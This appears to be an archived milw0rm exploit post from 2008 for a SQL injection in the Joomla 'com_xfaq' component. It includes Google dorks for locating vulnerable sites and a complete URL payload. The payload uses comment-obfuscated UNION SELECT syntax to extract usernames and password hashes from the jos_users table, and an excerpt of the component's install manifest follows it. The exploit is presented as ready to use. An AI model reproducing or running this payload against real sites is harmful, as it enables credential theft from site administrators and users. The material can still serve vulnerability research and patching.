###############################################################
#
# joomla SQL Injection(com_xfaq)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
# http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
# www.milw0rm.com@gmail.com
#
################################################################
#
# DORK 1 : allinurl: aid "com_xfaq"
#
# DORK 2 : allinurl: "com_xfaq"
#
################################################################
EXPLOIT :
index.php?option=com_xfaq&task=answer&Itemid=S@BUN&catid=97&aid=-9988%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0x3a,password,0x3a,username,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0/**/from/**/jos_users/*
################################################################
# S@BUN i AM NOT HACKER S@BUN
################################################################
<mosinstall type="component" version="4.5.2">
<name>xfaq</name>
<creationDate>2005.11.03</creationDate>
<author>mic / mgfi</author>
<copyright>mgfi.info</copyright>
<license>Released under the GNU/GPL License</license>
<authorEmail>info@mgfi.info</authorEmail>
<authorUrl>www.mgfi.info</authorUrl>
<version>1.2</version>
<description>XfaQ is an addon for Joomla 1.x and Mambo 4.5.x. Based on SimpleFAQ 2.0.1 from www.parkviewconsultants.com</description>
# milw0rm.com [2008-02-13]
